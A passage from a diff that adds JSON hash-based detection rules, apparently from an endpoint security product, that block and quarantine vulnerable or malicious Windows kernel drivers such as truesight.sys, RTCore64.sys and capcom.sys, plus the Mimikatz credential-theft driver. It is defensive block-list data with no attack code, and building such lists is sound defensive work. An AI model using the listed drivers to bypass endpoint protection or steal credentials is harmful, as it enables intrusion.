+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9722e225-3c41-52c6-8ea3-5e7e757adea1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968809Z",
+  "creation_date": "2026-03-23T11:45:29.968811Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968817Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cd4ca335155062182608cad9ef5c8351a715bce92049719dd09c76422cd7b0c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "972ff264-e540-5887-b3d2-d53553996af0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.477200Z",
+  "creation_date": "2026-03-23T11:45:30.477203Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.477213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fed0fe2489ae807913be33827b3b11359652a127e33b64464cc570c05abd0d17",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9733fd1c-53c1-5cf8-836d-d2a760efe781",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454327Z",
+  "creation_date": "2026-03-23T11:45:30.454330Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454339Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97363f377aaf3c01641ac04a15714acbec978afb1219ac8f22c7e5df7f2b2d56",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97381357-272b-501c-8d30-3b07a543cb25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830034Z",
+  "creation_date": "2026-03-23T11:45:31.830036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830041Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dffb52619e11ec118a68f4aeebec49a78908de6348ae4db5eed4625028383d34",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9750936e-32e0-5a2b-bad9-30f38d4b73b7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810468Z",
+  "creation_date": "2026-03-23T11:45:31.810470Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810475Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0aaa8a63ee22354585282a5aa02148c69931fc569fb059f2caf7cbeab5a81ab2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97646d4c-e763-5a56-8e49-575609477267",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482696Z",
+  "creation_date": "2026-03-23T11:45:31.482699Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482709Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60f11064c0db8906831f716c191a602abd44dbb96f07d2a1cda6a973ff2935b8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "977058a3-53ac-5252-a5d7-96237d07dc8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492126Z",
+  "creation_date": "2026-03-23T11:45:31.492128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61fbeaf94ab0cdbfb6f3ea518929651e83e6fdddc470989aaaa3177ca19350dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9776d780-c455-505e-8c80-beedeca2cd74",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971125Z",
+  "creation_date": "2026-03-23T11:45:29.971128Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971135Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00bef60f6b7813aec6733107144dc92f374cea63a7b612f788423bb34f8aabf8",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9776f54a-49ad-5906-8d42-636b19cd8484",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830186Z",
+  "creation_date": "2026-03-23T11:45:30.830188Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "50e5753471ed74c3bba67d5d959cb7a6f820a93633012c756ed40ebccc44d051",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97770fd2-96b3-523c-8c57-3be696d76f53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818983Z",
+  "creation_date": "2026-03-23T11:45:30.818985Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818990Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1126c9b043872383e5e0b1ac893ddf2238a2c130401627b259c81d98a3cefeae",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97799ae9-e443-592a-85a8-35879126da4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481256Z",
+  "creation_date": "2026-03-23T11:45:30.481258Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481264Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c0a63e8a6a335f2498794f44cf5629453075f31db314eaecbd964cf615de3f7",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "977cbb47-7a5b-582c-8b85-c282895516ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826508Z",
+  "creation_date": "2026-03-23T11:45:31.826510Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826515Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00526be468c68c919a32b110c1faaa50f8ee1646a11ca856a8b6730e5505deba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "977d5e3d-c3f3-51f6-8c89-da0e14e2efda",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985356Z",
+  "creation_date": "2026-03-23T11:45:29.985358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985364Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6cb51ae871fbd5d07c5aad6ff8eea43d34063089528603ca9ceb8b4f52f68ddc",
+  "comment": "Dangerous Physmem Kernel Driver (aka Se64a.Sys) [https://www.loldrivers.io/drivers/d819bee2-3bff-481f-a301-acc3d1f5fe58/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "977e93ad-d41f-5c89-8e10-3bf19c3b7ac0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454477Z",
+  "creation_date": "2026-03-23T11:45:30.454481Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454490Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be690e8bbc4b0ba4b37c1a331294655dff0c73be530428a447e318c06ec06d57",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "978ebec5-d845-5453-a651-b8fe1c149f0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460236Z",
+  "creation_date": "2026-03-23T11:45:30.460239Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460248Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d3eaf041ce5f3fd59885ead2cb4ce5c61ac9d83d41f626512942a50e3da7b75a",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97955461-896c-576a-bf7e-ba061f6c9493",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.817339Z",
+  "creation_date": "2026-03-23T11:45:31.817341Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.817346Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0df5c9f9fd26de96f6b3d09ddc481921ba209dfcc2bcec2a9e39b7c28b802d16",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "979d1fd2-26c7-53d2-b691-4597d0ac7f8e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479845Z",
+  "creation_date": "2026-03-23T11:45:30.479847Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479853Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a11b4f125d8537e69af7b684494e49ef2a30a219634988e278177fa36c934eb",
+  "comment": "Vulnerable Kernel Driver (aka capcom.sys) [https://www.loldrivers.io/drivers/b51c441a-12c7-407d-9517-559cc0030cf6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97a5cb28-a177-5e1e-9c67-8ebb2c70bd31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979308Z",
+  "creation_date": "2026-03-23T11:45:29.979310Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979315Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "139f8412a7c6fdc43dcfbbcdba256ee55654eb36a40f338249d5162a1f69b988",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97a9b11b-fec6-5bfe-a073-41cba37855a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.981607Z",
+  "creation_date": "2026-03-23T11:45:29.981609Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.981614Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf16a2218fc8a3b6fa5aa4a0bc6205792798078c380ccc7e5041476e0f1bc53d",
+  "comment": "Vulnerable Kernel Driver (aka netflt.sys) [https://www.loldrivers.io/drivers/35a9afeb-18f1-4c02-a3aa-830e300138ae/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97d5651e-65da-5d02-9384-02f33d63639e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821539Z",
+  "creation_date": "2026-03-23T11:45:31.821541Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5404f100c0171f3485183a38770a5c37d0393aa25ce0d5a4fbb52111ecb765e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97deb0e1-f465-5e36-a73e-a01d6517cfb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155736Z",
+  "creation_date": "2026-03-23T11:45:31.155738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e95506050b5df4ccfc2b5a109022ade66604dc5dd306c7975b2e66d3888f70a5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97ebd72e-eb90-5295-ba77-fc1e62a124a7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609771Z",
+  "creation_date": "2026-03-23T11:45:29.609773Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609778Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa0a1de59d8697c5f39937edeb778fde7c596b71d64d3427c80fe4c060488990",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "97f330cc-c639-59d0-a317-d5e284fc011e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
